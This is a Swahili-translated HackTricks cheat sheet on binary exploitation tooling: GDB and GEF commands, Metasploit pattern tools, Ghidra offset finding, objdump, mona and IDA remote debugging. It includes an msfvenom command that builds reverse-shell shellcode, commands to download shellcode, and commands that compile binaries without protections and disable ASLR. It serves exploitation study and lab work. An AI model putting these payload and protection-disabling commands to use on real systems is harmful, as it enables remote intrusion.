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# Zana za Kutilia
{{#include ../../../banners/hacktricks-training.md}}
## Metasploit
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Sakinisha
```bash
apt-get install gdb
```
### Vigezo
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Maagizo
```bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
Unaweza kutumia [**hii fork ya GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) ambayo ina maelekezo ya kuvutia zaidi.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Tricks
#### GDB anwani sawa
Wakati wa kujaribu GDB itakuwa na **anwani kidogo tofauti na zile zinazotumiwa na binary wakati inatekelezwa.** Unaweza kufanya GDB iwe na anwani sawa kwa kufanya:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _Weka njia kamili ya binary_
- Fanya unyakuzi wa binary ukitumia njia hiyo hiyo kamili
- `PWD` na `OLDPWD` lazima ziwe sawa wakati wa kutumia GDB na wakati wa kufanya unyakuzi wa binary
#### Backtrace ili kupata kazi zilizoitwa
Wakati una **binary iliyounganishwa kwa statically** kazi zote zitakuwa za binary (na si za maktaba za nje). Katika kesi hii itakuwa vigumu **kubaini mtiririko ambao binary inafuata kwa mfano kuomba pembejeo ya mtumiaji.**\
Unaweza kwa urahisi kubaini mtiririko huu kwa **kukimbia** binary na **gdb** hadi uombwe pembejeo. Kisha, simamisha kwa **CTRL+C** na tumia amri **`bt`** (**backtrace**) kuona kazi zilizoitwa:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB server
`gdbserver --multi 0.0.0.0:23947` (katika IDA unahitaji kujaza njia kamili ya executable kwenye mashine ya Linux na kwenye mashine ya Windows)
## Ghidra
### Find stack offset
**Ghidra** ni muhimu sana kupata **offset** kwa **buffer overflow kutokana na taarifa kuhusu nafasi ya mabadiliko ya ndani.**\
Kwa mfano, katika mfano hapa chini, mtiririko wa buffer katika `local_bc` inaonyesha kwamba unahitaji offset ya `0xbc`. Zaidi ya hayo, ikiwa `local_10` ni cookie ya canary inaonyesha kwamba ili kuandika tena kutoka `local_bc` kuna offset ya `0xac`.\
_&#x52;emember kwamba 0x08 ya kwanza ambapo RIP imehifadhiwa inahusiana na RBP._
![](<../../../images/image (1061).png>)
## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Get every opcode executed in the program.
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kamilisha bila ulinzi\
**-o** --> Matokeo\
**-g** --> Hifadhi msimbo (GDB itaweza kuiona)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Kuondoa ASLR katika linux
**Ili kukamilisha shellcode:**\
**nasm -f elf assembly.asm** --> rudisha ".o"\
**ld assembly.o -o shellcodeout** --> Inayoweza kutekelezwa
## Objdump
**-d** --> **Disassemble executable** sehemu (ona opcodes za shellcode iliyokamilishwa, pata ROP Gadgets, pata anwani ya kazi...)\
**-Mintel** --> **Intel** sintaksia\
**-t** --> **Symbols** jedwali\
**-D** --> **Disassemble all** (anwani ya variable ya static)\
**-s -j .dtors** --> sehemu ya dtors\
**-s -j .got** --> sehemu ya got\
-D -s -j .plt --> **plt** sehemu **iliyotafsiriwa**\
**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Anwani ya "puts" kubadilisha katika GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Anwani au variable ya static (hizi zimehifadhiwa katika sehemu ya DATA).
## Core dumps
1. Kimbia `ulimit -c unlimited` kabla ya kuanza programu yangu
2. Kimbia `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet
## More
**ldd executable | grep libc.so.6** --> Anwani (ikiwa ASLR, basi hii hubadilika kila wakati)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Mzunguko kuona ikiwa anwani inabadilika sana\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset ya "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset ya "/bin/sh"
**strace executable** --> Kazi zinazoitwa na executable\
**rabin2 -i ejecutable -->** Anwani ya kazi zote
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Debugging katika linux ya mbali
Ndani ya folda ya IDA unaweza kupata binaries ambazo zinaweza kutumika kubaini binary ndani ya linux. Ili kufanya hivyo, hamasisha binary `linux_server` au `linux_server64` ndani ya seva ya linux na uendeshe ndani ya folda inayoshikilia binary hiyo:
```
./linux_server64 -Ppass
```
Kisha, sanidi debugger: Debugger (linux remote) --> Chaguzi za Proccess...:
![](<../../../images/image (858).png>)
{{#include ../../../banners/hacktricks-training.md}}